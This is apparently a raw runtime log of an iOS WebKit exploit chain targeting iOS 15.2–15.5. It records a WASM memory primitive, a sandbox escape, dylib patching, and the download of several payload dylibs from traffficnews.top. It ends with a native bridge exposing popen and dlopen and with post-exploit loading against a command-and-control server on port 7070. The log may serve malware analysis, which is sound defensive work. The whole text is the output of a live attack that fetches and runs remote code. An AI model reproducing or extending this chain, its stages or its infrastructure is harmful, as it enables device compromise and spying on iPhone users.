---

[13:51:11.968] Load 57620206d62079baad0e57e6d9ec93120c0f5247

[13:51:11.980] Load 14669ca3b1519ba2a8f40be287f646d4d7593eb0

[13:51:11.982] resolveUrl => https://traffficnews.top/7a7d99099b035b2c6512b6ebeeea6df1ede70fbb.min.js

[13:51:11.995] [LOADER] === Exploit chain starting ===

[13:51:11.995] [LOADER] Platform: iPhone, UA: Mozilla/5.0 (iPhone; CPU iPhone OS 15_2 like Mac OS X) AppleWebKit/605.1.15 (KHT...

[13:51:11.996] [PLATFORM] iOS version detected: 150200

[13:51:12.131] [LOADER] Selecting stage1 variant for offsets: JtEUci=undefined, KeCRDQ=false, ShQCsB=false, RbKS6p=true, mmrZ0r=false

[13:51:12.131] [LOADER] Loading module: Stage1_15.2_15.5_jacurutu...

[13:51:12.131] Loading Stage1_15.2_15.5_jacurutu.js

[13:51:12.205] [LOADER] Stage1 module loaded, executing WASM primitive exploit...

[13:51:12.206] [LOADER] Stage1 attempt 1/20...

[13:51:12.320] [LOADER] Stage1 succeeded on attempt 1

[13:51:12.321] [LOADER] Stage1 complete — WASM read/write primitives active

[13:51:12.367] [PLATFORM] Runtime: PSNMWj, JSC base: 0x8e711000

[13:51:12.367] [RUNTIME] JSC runtime detected: PAC=false

[13:51:12.367] [STAGE3] Loading sandbox escape variant B...

[13:51:12.367] [LOADER] Loading module: Stage3_VariantB...

[13:51:12.367] Loading Stage3_VariantB.js

[13:51:12.505] Done ba712ef6c1bf20758e69ab945d2cdfd51e53dcd8

[13:51:12.506] Done b5135768e043d1b362977b8ba9bff678b9946bcb

[13:51:12.587] [PLATFORM] Creating image list from JSC base address...

[13:51:12.716] resolveUrl => https://traffficnews.top/7a7d99099b035b2c6512b6ebeeea6df1ede70fbb.min.js

[13:51:12.716] resolveUrl => https://traffficnews.top/

[13:51:12.799] [PATCH] Loaded bootstrap.dylib: 89328B, oA=44664 (orig 45056), _process=0x68d8

[13:51:12.810] [PATCH] _process at original offset 0x68d8, no redirect needed

[13:51:12.810] dylib load address: 0xbe52c9000

[13:51:12.810] data address?: 0x281e8c000

[13:51:12.810] dylib size: 0x121104

[13:51:12.830] [STAGE3] Sandbox escape completed. _sbx0_success=true, _sbx1_success=true, _sbx_pe_ran=true.

[13:51:12.831] [STAGE3] NOTE: nativeBridge still pending (requires bootstrap.dylib JSC injection). Native commands will return [ERROR-no-bridge].

[13:51:12.874] [STAGE3] Exposed primitives to window._corunaPrimitives (caller/machOParser/exploitPrimitive/Int64, imageList=ok). nativeBridge can now be built.

[13:51:12.874] [STAGE3] Sandbox escape result: 0

[13:51:12.874] [LOADER] Cleaning up exploit primitives...

[13:51:12.876] [LOADER] === Exploit chain finished — result: 0 | total=881ms ===

[13:51:12.876] [LOADER] Reporting result: 0

[13:51:12.882] [LOADER] Fetching nb_daemon.dylib binary blob...

[13:51:12.889] [LOADER] Auto-continue: loading metadata & payloads (no confirmation dialog).

[13:51:12.890] [LOADER] Loading payload: 7a7d99099b035b2c6512b6ebeeea6df1ede70fbb

[13:51:12.891] Downloading payloads/manifest.json -> https://traffficnews.top/payloads/manifest.json

[13:51:12.955] Downloaded payloads/manifest.json OK (sync, 12825B)

[13:51:12.956] Downloading payloads/7a7d99099b035b2c6512b6ebeeea6df1ede70fbb/raw.bin -> https://traffficnews.top/payloads/7a7d99099b035b2c6512b6ebeeea6df1ede70fbb/raw.bin

[13:51:13.010] Downloaded payloads/7a7d99099b035b2c6512b6ebeeea6df1ede70fbb/raw.bin OK (sync, 2192B)

[13:51:13.011] [LOADER] Fed 2192 bytes for 7a7d99099b035b2c6512b6ebeeea6df1ede70fbb

[13:51:13.022] [LOADER] nb_daemon.dylib fetched — size=86672 bytes. native_bridge will write it to /tmp and dlopen via powerd.

[13:51:13.027] [LOADER] Loading native_bridge.js (building window.nativeBridge from _corunaPrimitives)...

[13:51:13.030] [LOADER] Loading payload: 38af3c8ba461079a0edc83585023f76843066dcf

[13:51:13.031] Downloading payloads/38af3c8ba461079a0edc83585023f76843066dcf/entry0_type0x08.dylib -> https://traffficnews.top/payloads/38af3c8ba461079a0edc83585023f76843066dcf/entry0_type0x08.dylib

[13:51:13.139] Downloaded payloads/38af3c8ba461079a0edc83585023f76843066dcf/entry0_type0x08.dylib OK (sync, 196864B)

[13:51:13.139] Downloading payloads/38af3c8ba461079a0edc83585023f76843066dcf/entry1_type0x09.dylib -> https://traffficnews.top/payloads/38af3c8ba461079a0edc83585023f76843066dcf/entry1_type0x09.dylib

[13:51:13.201] Downloaded payloads/38af3c8ba461079a0edc83585023f76843066dcf/entry1_type0x09.dylib OK (sync, 284048B)

[13:51:13.201] Downloading payloads/38af3c8ba461079a0edc83585023f76843066dcf/entry2_type0x0f.dylib -> https://traffficnews.top/payloads/38af3c8ba461079a0edc83585023f76843066dcf/entry2_type0x0f.dylib

[13:51:13.261] Downloaded payloads/38af3c8ba461079a0edc83585023f76843066dcf/entry2_type0x0f.dylib OK (sync, 192096B)

[13:51:13.261] Downloading payloads/38af3c8ba461079a0edc83585023f76843066dcf/entry3_type0x07.bin -> https://traffficnews.top/payloads/38af3c8ba461079a0edc83585023f76843066dcf/entry3_type0x07.bin

[13:51:13.317] Downloaded payloads/38af3c8ba461079a0edc83585023f76843066dcf/entry3_type0x07.bin OK (sync, 49B)

[13:51:13.317] Downloading payloads/38af3c8ba461079a0edc83585023f76843066dcf/entry4_type0x07.bin -> https://traffficnews.top/payloads/38af3c8ba461079a0edc83585023f76843066dcf/entry4_type0x07.bin

[13:51:13.376] Downloaded payloads/38af3c8ba461079a0edc83585023f76843066dcf/entry4_type0x07.bin OK (sync, 468B)

[13:51:13.377] [LOADER] Built F00DBEEF container: 5 entries, 673613 bytes

[13:51:13.381] [LOADER] Fed 673613 bytes for 38af3c8ba461079a0edc83585023f76843066dcf

[13:51:14.601] [13:51:14.601][NATIVE-BRIDGE] Symbols resolved: open,read,write,close,malloc,free,memcpy,memset,strdup,opendir,readdir,closedir,popen,pclose,fread,strlen,getpid,dlopen,dlclose,unlink,rename (count=21/20) | imageList=Kh | 1207ms

[13:51:14.601] [13:51:14.601][NATIVE-BRIDGE] MEM allocated via MetaAllocator: 0xbe5209500 | 0ms

[13:51:14.602] [13:51:14.602][NATIVE-BRIDGE] Self-test getpid() raw=1457 num=1457 MEM=0xbe5209500

[13:51:14.602] [13:51:14.602][NATIVE-BRIDGE] Self-test PASS: getpid()=1457 — bridge enabled

[13:51:14.602] [13:51:14.602][NATIVE-BRIDGE] Buffers: ARG=0xbe5209500 READ=0xbe5211500

[13:51:14.602] [13:51:14.602][NATIVE-BRIDGE] IPC daemon init disabled — using in-process mode (callNative direct)

[13:51:14.602] [13:51:14.602][NATIVE-BRIDGE] READY. nativeBridge enabled (pid=1457, symbols=21, MEM=ok, imageList=Kh, ipc=in-process-only). post_exploit native commands will now work.

[13:51:14.602] [LOADER] native_bridge.js loaded — nativeBridge=true | 1575ms

[13:51:14.602] [LOADER] Loading post_exploit.js (C2=traffficnews.top:7070, UUID=ios-ed9d496c86165ed2a5cac844)...